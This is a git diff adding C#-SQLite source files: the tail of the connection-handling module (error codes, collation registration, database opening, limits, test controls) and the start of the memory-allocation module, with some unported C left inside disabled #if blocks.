+SQLITE_UTF8, SQLITE_STATIC); +z = sqlite3_value_text16(db->pErr); +} +/* A malloc() may have failed within the call to sqlite3_value_text16() +** above. If this is the case, then the db->mallocFailed flag needs to +** be cleared before returning. Do this directly, instead of via +** sqlite3ApiExit(), to avoid setting the database handle error message. +*/ +db->mallocFailed = 0; +} +sqlite3_mutex_leave(db->mutex); +return z; +} +#endif // * SQLITE_OMIT_UTF16 */ + + /* +** Return the most recent error code generated by an SQLite routine. If NULL is +** passed to this function, we assume a malloc() failed during sqlite3_open(). +*/ + public static int sqlite3_errcode( sqlite3 db ) + { + if ( db != null && !sqlite3SafetyCheckSickOrOk( db ) ) + { + return SQLITE_MISUSE; + } + if ( null == db /*|| db.mallocFailed != 0 */ ) + { + return SQLITE_NOMEM; + } + return db.errCode & db.errMask; + } + static int sqlite3_extended_errcode( sqlite3 db ) + { + if ( db != null && !sqlite3SafetyCheckSickOrOk( db ) ) + { + return SQLITE_MISUSE; + } + if ( null == db /*|| db.mallocFailed != 0 */ ) + { + return SQLITE_NOMEM; + } + return db.errCode; + } + /* + ** Create a new collating function for database "db". The name is zName + ** and the encoding is enc. + */ + static int createCollation( + sqlite3 db, + string zName, + int enc, + object pCtx, + dxCompare xCompare,//)(void*,int,const void*,int,const void*), + dxDelCollSeq xDel//)(void*) + ) + { + CollSeq pColl; + int enc2; + int nName = sqlite3Strlen30( zName ); + + Debug.Assert( sqlite3_mutex_held( db.mutex ) ); + + /* If SQLITE_UTF16 is specified as the encoding type, transform this + ** to one of SQLITE_UTF16LE or SQLITE_UTF16BE using the + ** SQLITE_UTF16NATIVE macro. SQLITE_UTF16 is not used internally. + */ + enc2 = enc; + testcase( enc2 == SQLITE_UTF16 ); + testcase( enc2 == SQLITE_UTF16_ALIGNED ); + if ( enc2 == SQLITE_UTF16 || enc2 == SQLITE_UTF16_ALIGNED ) + { + enc2 = SQLITE_UTF16NATIVE; + } + if ( enc2 < SQLITE_UTF8 || enc2 > SQLITE_UTF16BE ) + { + return SQLITE_MISUSE; + } + + /* Check if this call is removing or replacing an existing collation + ** sequence. If so, and there are active VMs, return busy. If there + ** are no active VMs, invalidate any pre-compiled statements. + */ + pColl = sqlite3FindCollSeq( db, (u8)enc2, zName, 0 ); + if ( pColl != null && pColl.xCmp != null ) + { + if ( db.activeVdbeCnt != 0 ) + { + sqlite3Error( db, SQLITE_BUSY, + "unable to delete/modify collation sequence due to active statements" ); + return SQLITE_BUSY; + } + sqlite3ExpirePreparedStatements( db ); + + /* If collation sequence pColl was created directly by a call to + ** sqlite3_create_collation, and not generated by synthCollSeq(), + ** then any copies made by synthCollSeq() need to be invalidated. + ** Also, collation destructor - CollSeq.xDel() - function may need + ** to be called. + */ + if ( ( pColl.enc & ~SQLITE_UTF16_ALIGNED ) == enc2 ) + { + CollSeq[] aColl = (CollSeq[])sqlite3HashFind( db.aCollSeq, zName, nName ); + int j; + for ( j = 0 ; j < 3 ; j++ ) + { + CollSeq p = aColl[j]; + if ( p.enc == pColl.enc ) + { + if ( p.xDel != null ) + { + p.xDel( ref p.pUser ); + } + p.xCmp = null; + } + } + } + } + + pColl = sqlite3FindCollSeq( db, (u8)enc2, zName, 1 ); + if ( pColl != null ) + { + pColl.xCmp = xCompare; + pColl.pUser = pCtx; + pColl.xDel = xDel; + pColl.enc = (u8)( enc2 | ( enc & SQLITE_UTF16_ALIGNED ) ); + } + sqlite3Error( db, SQLITE_OK, 0 ); + return SQLITE_OK; + } + + /* + ** This array defines hard upper bounds on limit values. The + ** initializer must be kept in sync with the SQLITE_LIMIT_* + ** #defines in sqlite3.h. + */ + static int[] aHardLimit = new int[] { +SQLITE_MAX_LENGTH, +SQLITE_MAX_SQL_LENGTH, +SQLITE_MAX_COLUMN, +SQLITE_MAX_EXPR_DEPTH, +SQLITE_MAX_COMPOUND_SELECT, +SQLITE_MAX_VDBE_OP, +SQLITE_MAX_FUNCTION_ARG, +SQLITE_MAX_ATTACHED, +SQLITE_MAX_LIKE_PATTERN_LENGTH, +SQLITE_MAX_VARIABLE_NUMBER, +}; + + /* + ** Make sure the hard limits are set to reasonable values + */ + //#if SQLITE_MAX_LENGTH<100 + //# error SQLITE_MAX_LENGTH must be at least 100 + //#endif + //#if SQLITE_MAX_SQL_LENGTH<100 + //# error SQLITE_MAX_SQL_LENGTH must be at least 100 + //#endif + //#if SQLITE_MAX_SQL_LENGTH>SQLITE_MAX_LENGTH + //# error SQLITE_MAX_SQL_LENGTH must not be greater than SQLITE_MAX_LENGTH + //#endif + //#if SQLITE_MAX_COMPOUND_SELECT<2 + //# error SQLITE_MAX_COMPOUND_SELECT must be at least 2 + //#endif + //#if SQLITE_MAX_VDBE_OP<40 + //# error SQLITE_MAX_VDBE_OP must be at least 40 + //#endif + //#if SQLITE_MAX_FUNCTION_ARG<0 || SQLITE_MAX_FUNCTION_ARG>1000 + //# error SQLITE_MAX_FUNCTION_ARG must be between 0 and 1000 + //#endif + //#if SQLITE_MAX_ATTACHED<0 || SQLITE_MAX_ATTACHED>30 + //# error SQLITE_MAX_ATTACHED must be between 0 and 30 + //#endif + //#if SQLITE_MAX_LIKE_PATTERN_LENGTH<1 + //# error SQLITE_MAX_LIKE_PATTERN_LENGTH must be at least 1 + //#endif + //#if SQLITE_MAX_VARIABLE_NUMBER<1 + //# error SQLITE_MAX_VARIABLE_NUMBER must be at least 1 + //#endif + //#if SQLITE_MAX_COLUMN>32767 + //# error SQLITE_MAX_COLUMN must not exceed 32767 + //#endif + + /* + ** Change the value of a limit. Report the old value. + ** If an invalid limit index is supplied, report -1. + ** Make no changes but still report the old value if the + ** new limit is negative. + ** + ** A new lower limit does not shrink existing constructs. + ** It merely prevents new constructs that exceed the limit + ** from forming. + */ + static int sqlite3_limit( sqlite3 db, int limitId, int newLimit ) + { + int oldLimit; + if ( limitId < 0 || limitId >= SQLITE_N_LIMIT ) + { + return -1; + } + oldLimit = db.aLimit[limitId]; + if ( newLimit >= 0 ) + { + if ( newLimit > aHardLimit[limitId] ) + { + newLimit = aHardLimit[limitId]; + } + db.aLimit[limitId] = newLimit; + } + return oldLimit; + } + /* + ** This routine does the work of opening a database on behalf of + ** sqlite3_open() and sqlite3_open16(). The database filename "zFilename" + ** is UTF-8 encoded. + */ + static int openDatabase( + string zFilename, /* Database filename UTF-8 encoded */ + ref sqlite3 ppDb, /* OUT: Returned database handle */ + unsigned flags, /* Operational flags */ + string zVfs /* Name of the VFS to use */ + ) + { + sqlite3 db; + int rc; + CollSeq pColl; + int isThreadsafe; + + ppDb = null; +#if !SQLITE_OMIT_AUTOINIT + rc = sqlite3_initialize(); + if ( rc != 0 ) return rc; +#endif + + if ( sqlite3GlobalConfig.bCoreMutex == false ) + { + isThreadsafe = 0; + } + else if ( ( flags & SQLITE_OPEN_NOMUTEX ) != 0 ) + { + isThreadsafe = 0; + } + else if ( ( flags & SQLITE_OPEN_FULLMUTEX ) != 0 ) + { + isThreadsafe = 1; + } + else + { + isThreadsafe = sqlite3GlobalConfig.bFullMutex ? 1 : 0; + } + + /* Remove harmful bits from the flags parameter + ** + ** The SQLITE_OPEN_NOMUTEX and SQLITE_OPEN_FULLMUTEX flags were + ** dealt with in the previous code block. Besides these, the only + ** valid input flags for sqlite3_open_v2() are SQLITE_OPEN_READONLY, + ** SQLITE_OPEN_READWRITE, and SQLITE_OPEN_CREATE. Silently mask + ** off all other flags. + */ + flags &= ~( SQLITE_OPEN_DELETEONCLOSE | + SQLITE_OPEN_EXCLUSIVE | + SQLITE_OPEN_MAIN_DB | + SQLITE_OPEN_TEMP_DB | + SQLITE_OPEN_TRANSIENT_DB | + SQLITE_OPEN_MAIN_JOURNAL | + SQLITE_OPEN_TEMP_JOURNAL | + SQLITE_OPEN_SUBJOURNAL | + SQLITE_OPEN_MASTER_JOURNAL | + SQLITE_OPEN_NOMUTEX | + SQLITE_OPEN_FULLMUTEX + ); + + + /* Allocate the sqlite data structure */ + db = new sqlite3();//sqlite3MallocZero( sqlite3.Length ); + if ( db == null ) goto opendb_out; + if ( sqlite3GlobalConfig.bFullMutex && isThreadsafe != 0 ) + { + db.mutex = sqlite3MutexAlloc( SQLITE_MUTEX_RECURSIVE ); + if ( db.mutex == null ) + { + //sqlite3_free( ref db ); + goto opendb_out; + } + } + sqlite3_mutex_enter( db.mutex ); + db.errMask = 0xff; + db.nDb = 2; + db.magic = SQLITE_MAGIC_BUSY; + Array.Copy( db.aDbStatic, db.aDb, db.aDbStatic.Length );// db.aDb = db.aDbStatic; + Debug.Assert( db.aLimit.Length == aHardLimit.Length ); + Buffer.BlockCopy( aHardLimit, 0, db.aLimit, 0, aHardLimit.Length * sizeof( int ) );//memcpy(db.aLimit, aHardLimit, sizeof(db.aLimit)); + db.autoCommit = 1; + db.nextAutovac = -1; + db.nextPagesize = 0; + db.flags |= SQLITE_ShortColNames; + if ( SQLITE_DEFAULT_FILE_FORMAT < 4 ) + db.flags |= SQLITE_LegacyFileFmt +#if SQLITE_ENABLE_LOAD_EXTENSION +| SQLITE_LoadExtension +#endif +; + sqlite3HashInit( db.aCollSeq ); +#if !SQLITE_OMIT_VIRTUALTABLE +sqlite3HashInit( ref db.aModule ); +#endif + db.pVfs = sqlite3_vfs_find( zVfs ); + if ( db.pVfs == null ) + { + rc = SQLITE_ERROR; + sqlite3Error( db, rc, "no such vfs: %s", zVfs ); + goto opendb_out; + } + + /* Add the default collation sequence BINARY. BINARY works for both UTF-8 + ** and UTF-16, so add a version for each to avoid any unnecessary + ** conversions. The only error that can occur here is a malloc() failure. + */ + createCollation( db, "BINARY", SQLITE_UTF8, 0, (dxCompare)binCollFunc, null ); + createCollation( db, "BINARY", SQLITE_UTF16BE, 0, (dxCompare)binCollFunc, null ); + createCollation( db, "BINARY", SQLITE_UTF16LE, 0, (dxCompare)binCollFunc, null ); + createCollation( db, "RTRIM", SQLITE_UTF8, 1, (dxCompare)binCollFunc, null ); + //if ( db.mallocFailed != 0 ) + //{ + // goto opendb_out; + //} + db.pDfltColl = sqlite3FindCollSeq( db, SQLITE_UTF8, "BINARY", 0 ); + Debug.Assert( db.pDfltColl != null ); + + /* Also add a UTF-8 case-insensitive collation sequence. */ + createCollation( db, "NOCASE", SQLITE_UTF8, 0, nocaseCollatingFunc, null ); + + /* Set flags on the built-in collating sequences */ + db.pDfltColl.type = SQLITE_COLL_BINARY; + pColl = sqlite3FindCollSeq( db, SQLITE_UTF8, "NOCASE", 0 ); + if ( pColl != null ) + { + pColl.type = SQLITE_COLL_NOCASE; + } + + /* Open the backend database driver */ + db.openFlags = flags; + rc = sqlite3BtreeFactory( db, zFilename, false, SQLITE_DEFAULT_CACHE_SIZE, + flags | SQLITE_OPEN_MAIN_DB, + ref db.aDb[0].pBt ); + if ( rc != SQLITE_OK ) + { + if ( rc == SQLITE_IOERR_NOMEM ) + { + rc = SQLITE_NOMEM; + } + sqlite3Error( db, rc, 0 ); + goto opendb_out; + } + db.aDb[0].pSchema = sqlite3SchemaGet( db, db.aDb[0].pBt ); + db.aDb[1].pSchema = sqlite3SchemaGet( db, null ); + + + /* The default safety_level for the main database is 'full'; for the temp + ** database it is 'NONE'. This matches the pager layer defaults. + */ + db.aDb[0].zName = "main"; + db.aDb[0].safety_level = 3; + db.aDb[1].zName = "temp"; + db.aDb[1].safety_level = 1; + + db.magic = SQLITE_MAGIC_OPEN; + //if ( db.mallocFailed != 0 ) + //{ + // goto opendb_out; + //} + + /* Register all built-in functions, but do not attempt to read the + ** database schema yet. This is delayed until the first time the database + ** is accessed. + */ + sqlite3Error( db, SQLITE_OK, 0 ); + sqlite3RegisterBuiltinFunctions( db ); + + /* Load automatic extensions - extensions that have been registered + ** using the sqlite3_automatic_extension() API. + */ + sqlite3AutoLoadExtensions( db ); + rc = sqlite3_errcode( db ); + if ( rc != SQLITE_OK ) + { + goto opendb_out; + } + + +#if SQLITE_ENABLE_FTS1 +if( 0==db.mallocFailed ){ +extern int sqlite3Fts1Init(sqlite3*); +rc = sqlite3Fts1Init(db); +} +#endif + +#if SQLITE_ENABLE_FTS2 +if( 0==db.mallocFailed && rc==SQLITE_OK ){ +extern int sqlite3Fts2Init(sqlite3*); +rc = sqlite3Fts2Init(db); +} +#endif + +#if SQLITE_ENABLE_FTS3 +if( 0==db.mallocFailed && rc==SQLITE_OK ){ +rc = sqlite3Fts3Init(db); +} +#endif + +#if SQLITE_ENABLE_ICU +if( 0==db.mallocFailed && rc==SQLITE_OK ){ +extern int sqlite3IcuInit(sqlite3*); +rc = sqlite3IcuInit(db); +} +#endif + +#if SQLITE_ENABLE_RTREE +if( 0==db.mallocFailed && rc==SQLITE_OK){ +rc = sqlite3RtreeInit(db); +} +#endif + + sqlite3Error( db, rc, 0 ); + + /* -DSQLITE_DEFAULT_LOCKING_MODE=1 makes EXCLUSIVE the default locking + ** mode. -DSQLITE_DEFAULT_LOCKING_MODE=0 make NORMAL the default locking + ** mode. Doing nothing at all also makes NORMAL the default. + */ +#if SQLITE_DEFAULT_LOCKING_MODE +db.dfltLockMode = SQLITE_DEFAULT_LOCKING_MODE; +sqlite3PagerLockingMode(sqlite3BtreePager(db.aDb[0].pBt), +SQLITE_DEFAULT_LOCKING_MODE); +#endif + + /* Enable the lookaside-malloc subsystem */ + setupLookaside( db, null, sqlite3GlobalConfig.szLookaside, + sqlite3GlobalConfig.nLookaside ); + +opendb_out: + if ( db != null ) + { + Debug.Assert( db.mutex != null || isThreadsafe == 0 || !sqlite3GlobalConfig.bFullMutex ); + sqlite3_mutex_leave( db.mutex ); + } + rc = sqlite3_errcode( db ); + if ( rc == SQLITE_NOMEM ) + { + sqlite3_close( db ); + db = null; + } + else if ( rc != SQLITE_OK ) + { + db.magic = SQLITE_MAGIC_SICK; + } + ppDb = db; + return sqlite3ApiExit( 0, rc ); + } + + /* + ** Open a new database handle. + */ + public static int sqlite3_open( + string zFilename, + ref sqlite3 ppDb + ) + { + return openDatabase( zFilename, ref ppDb, + SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE, null ); + } + + public static int sqlite3_open_v2( + string filename, /* Database filename (UTF-8) */ + ref sqlite3 ppDb, /* OUT: SQLite db handle */ + int flags, /* Flags */ + string zVfs /* Name of VFS module to use */ + ) + { + return openDatabase( filename, ref ppDb, flags, zVfs ); + } + +#if !SQLITE_OMIT_UTF16 + +/* +** Open a new database handle. +*/ +int sqlite3_open16( +const void *zFilename, +sqlite3 **ppDb +){ +char const *zFilename8; /* zFilename encoded in UTF-8 instead of UTF-16 */ +sqlite3_value pVal; +int rc; + +Debug.Assert(zFilename ); +Debug.Assert(ppDb ); +*ppDb = 0; +#if !SQLITE_OMIT_AUTOINIT +rc = sqlite3_initialize(); +if( rc !=0) return rc; +#endif +pVal = sqlite3ValueNew(0); +sqlite3ValueSetStr(pVal, -1, zFilename, SQLITE_UTF16NATIVE, SQLITE_STATIC); +zFilename8 = sqlite3ValueText(pVal, SQLITE_UTF8); +if( zFilename8 ){ +rc = openDatabase(zFilename8, ppDb, +SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE, 0); +Debug.Assert(*ppDb || rc==SQLITE_NOMEM ); +if( rc==SQLITE_OK && !DbHasProperty(*ppDb, 0, DB_SchemaLoaded) ){ +ENC(*ppDb) = SQLITE_UTF16NATIVE; +} +}else{ +rc = SQLITE_NOMEM; +} +sqlite3ValueFree(pVal); + +return sqlite3ApiExit(0, rc); +} +#endif // * SQLITE_OMIT_UTF16 */ + + /* +** Register a new collation sequence with the database handle db. +*/ + static int sqlite3_create_collation( + sqlite3 db, + string zName, + int enc, + object pCtx, + dxCompare xCompare + ) + { + int rc; + sqlite3_mutex_enter( db.mutex ); + //Debug.Assert( 0 == db.mallocFailed ); + rc = createCollation( db, zName, enc, pCtx, xCompare, null ); + rc = sqlite3ApiExit( db, rc ); + sqlite3_mutex_leave( db.mutex ); + return rc; + } + + /* + ** Register a new collation sequence with the database handle db. + */ + static int sqlite3_create_collation_v2( + sqlite3 db, + string zName, + int enc, + object pCtx, + dxCompare xCompare, //int(*xCompare)(void*,int,const void*,int,const void*), + dxDelCollSeq xDel //void(*xDel)(void*) + ) + { + int rc; + sqlite3_mutex_enter( db.mutex ); + //Debug.Assert( 0 == db.mallocFailed ); + rc = createCollation( db, zName, enc, pCtx, xCompare, xDel ); + rc = sqlite3ApiExit( db, rc ); + sqlite3_mutex_leave( db.mutex ); + return rc; + } + +#if !SQLITE_OMIT_UTF16 +/* +** Register a new collation sequence with the database handle db. +*/ +//int sqlite3_create_collation16( +// sqlite3* db, +// string zName, +// int enc, +// void* pCtx, +// int(*xCompare)(void*,int,const void*,int,const void*) +//){ +// int rc = SQLITE_OK; +// char *zName8; +// sqlite3_mutex_enter(db.mutex); +// Debug.Assert( 0==db.mallocFailed ); +// zName8 = sqlite3Utf16to8(db, zName, -1); +// if( zName8 ){ +// rc = createCollation(db, zName8, enc, pCtx, xCompare, 0); +// //sqlite3DbFree(db,ref zName8); +// } +// rc = sqlite3ApiExit(db, rc); +// sqlite3_mutex_leave(db.mutex); +// return rc; +//} +#endif // * SQLITE_OMIT_UTF16 */ + + /* +** Register a collation sequence factory callback with the database handle +** db. Replace any previously installed collation sequence factory. +*/ + static int sqlite3_collation_needed( + sqlite3 db, + object pCollNeededArg, + dxCollNeeded xCollNeeded + ) + { + sqlite3_mutex_enter( db.mutex ); + db.xCollNeeded = xCollNeeded; + db.xCollNeeded16 = null; + db.pCollNeededArg = pCollNeededArg; + sqlite3_mutex_leave( db.mutex ); + return SQLITE_OK; + } + +#if !SQLITE_OMIT_UTF16 +/* +** Register a collation sequence factory callback with the database handle +** db. Replace any previously installed collation sequence factory. +*/ +//int sqlite3_collation_needed16( +// sqlite3 db, +// void pCollNeededArg, +// void(*xCollNeeded16)(void*,sqlite3*,int eTextRep,const void*) +//){ +// sqlite3_mutex_enter(db.mutex); +// db.xCollNeeded = 0; +// db.xCollNeeded16 = xCollNeeded16; +// db.pCollNeededArg = pCollNeededArg; +// sqlite3_mutex_leave(db.mutex); +// return SQLITE_OK; +//} +#endif // * SQLITE_OMIT_UTF16 */ + +#if !SQLITE_OMIT_GLOBALRECOVER +#if !SQLITE_OMIT_DEPRECATED + /* +** This function is now an anachronism. It used to be used to recover from a +** malloc() failure, but SQLite now does this automatically. +*/ + static int sqlite3_global_recover() + { + return SQLITE_OK; + } +#endif +#endif + + /* +** Test to see whether or not the database connection is in autocommit +** mode. Return TRUE if it is and FALSE if not. Autocommit mode is on +** by default. Autocommit is disabled by a BEGIN statement and reenabled +** by the next COMMIT or ROLLBACK. +** +******* THIS IS AN EXPERIMENTAL API AND IS SUBJECT TO CHANGE ****** +*/ + static u8 sqlite3_get_autocommit( sqlite3 db ) + { + return db.autoCommit; + } + +#if SQLITE_DEBUG + /* +** The following routine is subtituted for constant SQLITE_CORRUPT in +** debugging builds. This provides a way to set a breakpoint for when +** corruption is first detected. +*/ + static int sqlite3Corrupt() + { + return SQLITE_CORRUPT; + } +#endif + +#if !SQLITE_OMIT_DEPRECATED + /* +** This is a convenience routine that makes sure that all thread-specific +** data for this thread has been deallocated. +** +** SQLite no longer uses thread-specific data so this routine is now a +** no-op. It is retained for historical compatibility. +*/ + void sqlite3_thread_cleanup() + { + } +#endif + /* +** Return meta information about a specific column of a database table. +** See comment in sqlite3.h (sqlite.h.in) for details. +*/ +#if SQLITE_ENABLE_COLUMN_METADATA + +int sqlite3_table_column_metadata( +sqlite3 db, /* Connection handle */ +string zDbName, /* Database name or NULL */ +string zTableName, /* Table name */ +string zColumnName, /* Column name */ +ref byte[] pzDataType, /* OUTPUT: Declared data type */ +ref byte[] pzCollSeq, /* OUTPUT: Collation sequence name */ +ref int pNotNull, /* OUTPUT: True if NOT NULL constraint exists */ +ref int pPrimaryKey, /* OUTPUT: True if column part of PK */ +ref int pAutoinc /* OUTPUT: True if column is auto-increment */ +){ +int rc; +string zErrMsg = ""; +Table pTab = null; +Column pCol = null; +int iCol; + +char const *zDataType = 0; +char const *zCollSeq = 0; +int notnull = 0; +int primarykey = 0; +int autoinc = 0; + +/* Ensure the database schema has been loaded */ +sqlite3_mutex_enter(db.mutex); +(void)sqlite3SafetyOn(db); +sqlite3BtreeEnterAll(db); +rc = sqlite3Init(db, zErrMsg); +if( SQLITE_OK!=rc ){ +goto error_out; +} + +/* Locate the table in question */ +pTab = sqlite3FindTable(db, zTableName, zDbName); +if( null==pTab || pTab.pSelect ){ +pTab = 0; +goto error_out; +} + +/* Find the column for which info is requested */ +if( sqlite3IsRowid(zColumnName) ){ +iCol = pTab.iPKey; +if( iCol>=0 ){ +pCol = pTab.aCol[iCol]; +} +}else{ +for(iCol=0; iColnotNull!=0; +primarykey = pCol->isPrimKey!=0; +autoinc = pTab.iPKey==iCol && (pTab.tabFlags & TF_Autoincrement)!=0; +}else{ +zDataType = "INTEGER"; +primarykey = 1; +} +if( !zCollSeq ){ +zCollSeq = "BINARY"; +} + +error_out: +sqlite3BtreeLeaveAll(db); +(void)sqlite3SafetyOff(db); + +/* Whether the function call succeeded or failed, set the output parameters +** to whatever their local counterparts contain. If an error did occur, +** this has the effect of zeroing all output parameters. +*/ +if( pzDataType ) pzDataType = zDataType; +if( pzCollSeq ) pzCollSeq = zCollSeq; +if( pNotNull ) pNotNull = notnull; +if( pPrimaryKey ) pPrimaryKey = primarykey; +if( pAutoinc ) pAutoinc = autoinc; + +if( SQLITE_OK==rc && !pTab ){ +//sqlite3DbFree(db, zErrMsg); +zErrMsg = sqlite3MPrintf(db, "no such table column: %s.%s", zTableName, +zColumnName); +rc = SQLITE_ERROR; +} +sqlite3Error(db, rc, (zErrMsg?"%s":0), zErrMsg); +//sqlite3DbFree(db, zErrMsg); +rc = sqlite3ApiExit(db, rc); +sqlite3_mutex_leave(db.mutex); +return rc; +} +#endif + + /* +** Sleep for a little while. Return the amount of time slept. +*/ + public static int sqlite3_sleep( int ms ) + { + sqlite3_vfs pVfs; + int rc; + pVfs = sqlite3_vfs_find( null ); + if ( pVfs == null ) return 0; + + /* This function works in milliseconds, but the underlying OsSleep() + ** API uses microseconds. Hence the 1000's. + */ + rc = ( sqlite3OsSleep( pVfs, 1000 * ms ) / 1000 ); + return rc; + } + + /* + ** Enable or disable the extended result codes. + */ + static int sqlite3_extended_result_codes( sqlite3 db, bool onoff ) + { + sqlite3_mutex_enter( db.mutex ); + db.errMask = (int)( onoff ? 0xffffffff : 0xff ); + sqlite3_mutex_leave( db.mutex ); + return SQLITE_OK; + } + + /* + ** Invoke the xFileControl method on a particular database. + */ + static int sqlite3_file_control( sqlite3 db, string zDbName, int op, ref int pArg ) + { + int rc = SQLITE_ERROR; + int iDb; + sqlite3_mutex_enter( db.mutex ); + if ( zDbName == null ) + { + iDb = 0; + } + else + { + for ( iDb = 0 ; iDb < db.nDb ; iDb++ ) + { + if ( db.aDb[iDb].zName == zDbName ) break; + } + } + if ( iDb < db.nDb ) + { + Btree pBtree = db.aDb[iDb].pBt; + if ( pBtree != null ) + { + Pager pPager; + sqlite3_file fd; + sqlite3BtreeEnter( pBtree ); + pPager = sqlite3BtreePager( pBtree ); + Debug.Assert( pPager != null ); + fd = sqlite3PagerFile( pPager ); + Debug.Assert( fd != null ); + if ( fd.pMethods != null ) + { + rc = sqlite3OsFileControl( fd, (u32)op, ref pArg ); + } + sqlite3BtreeLeave( pBtree ); + } + } + sqlite3_mutex_leave( db.mutex ); + return rc; + } + + /* + ** Interface to the testing logic. + */ + static int sqlite3_test_control( int op, params object[] ap ) + { + int rc = 0; +#if !SQLITE_OMIT_BUILTIN_TEST + // va_list ap; + va_start( ap, "op" ); + switch ( op ) + { + + /* + ** Save the current state of the PRNG. + */ + case SQLITE_TESTCTRL_PRNG_SAVE: + { + sqlite3PrngSaveState(); + break; + } + + /* + ** Restore the state of the PRNG to the last state saved using + ** PRNG_SAVE. If PRNG_SAVE has never before been called, then + ** this verb acts like PRNG_RESET. + */ + case SQLITE_TESTCTRL_PRNG_RESTORE: + { + sqlite3PrngRestoreState(); + break; + } + + /* + ** Reset the PRNG back to its uninitialized state. The next call + ** to sqlite3_randomness() will reseed the PRNG using a single call + ** to the xRandomness method of the default VFS. + */ + case SQLITE_TESTCTRL_PRNG_RESET: + { + sqlite3PrngResetState(); + break; + } + + /* + ** sqlite3_test_control(BITVEC_TEST, size, program) + ** + ** Run a test against a Bitvec object of size. The program argument + ** is an array of integers that defines the test. Return -1 on a + ** memory allocation error, 0 on success, or non-zero for an error. + ** See the sqlite3BitvecBuiltinTest() for additional information. + */ + case SQLITE_TESTCTRL_BITVEC_TEST: + { + int sz = (int)va_arg( ap, "int" ); + int[] aProg = (int[])va_arg( ap, "int[]" ); + rc = sqlite3BitvecBuiltinTest( (u32)sz, aProg ); + break; + } + + /* + ** sqlite3_test_control(BENIGN_MALLOC_HOOKS, xBegin, xEnd) + ** + ** Register hooks to call to indicate which malloc() failures + ** are benign. + */ + case SQLITE_TESTCTRL_BENIGN_MALLOC_HOOKS: + { + //typedef void (*void_function)(void); + void_function xBenignBegin; + void_function xBenignEnd; + xBenignBegin = (void_function)va_arg( ap, "void_function" ); + xBenignEnd = (void_function)va_arg( ap, "void_function" ); + sqlite3BenignMallocHooks( xBenignBegin, xBenignEnd ); + break; + } + /* + ** sqlite3_test_control(SQLITE_TESTCTRL_PENDING_BYTE, unsigned int X) + ** + ** Set the PENDING byte to the value in the argument, if X>0. + ** Make no changes if X==0. Return the value of the pending byte + ** as it existing before this routine was called. + ** + ** IMPORTANT: Changing the PENDING byte from 0x40000000 results in + ** an incompatible database file format. Changing the PENDING byte + ** while any database connection is open results in undefined and + ** dileterious behavior. + */ + case SQLITE_TESTCTRL_PENDING_BYTE: + { + u32 newVal = (u32)va_arg( ap, "u32" ); + rc = sqlite3PendingByte; + if ( newVal != 0 ) + { + if ( sqlite3PendingByte != newVal ) + sqlite3PendingByte = (int)newVal; +#if DEBUG && !NO_TCL + TCLsqlite3PendingByte.iValue = sqlite3PendingByte; +#endif + PENDING_BYTE = sqlite3PendingByte; + } + break; + } + + /* + ** sqlite3_test_control(SQLITE_TESTCTRL_ASSERT, int X) + ** + ** This action provides a run-time test to see whether or not + ** assert() was enabled at compile-time. If X is true and assert() + ** is enabled, then the return value is true. If X is true and + ** assert() is disabled, then the return value is zero. If X is + ** false and assert() is enabled, then the assertion fires and the + ** process aborts. If X is false and assert() is disabled, then the + ** return value is zero. + */ + case SQLITE_TESTCTRL_ASSERT: + { + int x = 0; + Debug.Assert( ( x = (int)va_arg( ap, "int" ) ) != 0 ); + rc = x; + break; + } + + + /* + ** sqlite3_test_control(SQLITE_TESTCTRL_ALWAYS, int X) + ** + ** This action provides a run-time test to see how the ALWAYS and + ** NEVER macros were defined at compile-time. + ** + ** The return value is ALWAYS(X). + ** + ** The recommended test is X==2. If the return value is 2, that means + ** ALWAYS() and NEVER() are both no-op pass-through macros, which is the + ** default setting. If the return value is 1, then ALWAYS() is either + ** hard-coded to true or else it asserts if its argument is false. + ** The first behavior (hard-coded to true) is the case if + ** SQLITE_TESTCTRL_ASSERT shows that assert() is disabled and the second + ** behavior (assert if the argument to ALWAYS() is false) is the case if + ** SQLITE_TESTCTRL_ASSERT shows that assert() is enabled. + ** + ** The run-time test procedure might look something like this: + ** + ** if( sqlite3_test_control(SQLITE_TESTCTRL_ALWAYS, 2)==2 ){ + ** // ALWAYS() and NEVER() are no-op pass-through macros + ** }else if( sqlite3_test_control(SQLITE_TESTCTRL_ASSERT, 1) ){ + ** // ALWAYS(x) asserts that x is true. NEVER(x) asserts x is false. + ** }else{ + ** // ALWAYS(x) is a constant 1. NEVER(x) is a constant 0. + ** } + */ + case SQLITE_TESTCTRL_ALWAYS: + { + int x = (int)va_arg( ap, "int" ); + rc = ALWAYS( x ); + break; + } + + /* sqlite3_test_control(SQLITE_TESTCTRL_RESERVE, sqlite3 *db, int N) + ** + ** Set the nReserve size to N for the main database on the database + ** connection db. + */ + case SQLITE_TESTCTRL_RESERVE: { + sqlite3 db = (sqlite3)va_arg(ap, "sqlite3"); + int x = (int)va_arg(ap,"int"); + sqlite3_mutex_enter(db.mutex); + sqlite3BtreeSetPageSize(db.aDb[0].pBt, 0, x, 0); + sqlite3_mutex_leave(db.mutex); + break; + } + } + va_end( ap ); +#endif //* SQLITE_OMIT_BUILTIN_TEST */ + return rc; + } + } +} diff --git a/SQLite/src/malloc_c.cs b/SQLite/src/malloc_c.cs new file mode 100644 index 0000000..ab65481 --- /dev/null +++ b/SQLite/src/malloc_c.cs @@ -0,0 +1,901 @@ +using System.Diagnostics; +using System.Text; + +namespace CS_SQLite3 +{ + using sqlite3_int64 = System.Int64; + using sqlite3_u3264 = System.UInt64; + + public partial class CSSQLite + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** + ** Memory allocation functions used throughout sqlite. + ** + ** $Id: malloc.c,v 1.66 2009/07/17 11:44:07 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + //#include + +#if FALSE + /* + ** This routine runs when the memory allocator sees that the + ** total memory allocation is about to exceed the soft heap + ** limit. + */ + static void softHeapLimitEnforcer( + object NotUsed, + sqlite3_int64 NotUsed2, + int allocSize + ) + { + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + sqlite3_release_memory( allocSize ); + } + + /* + ** Set the soft heap-size limit for the library. Passing a zero or + ** negative value indicates no limit. + */ + static void 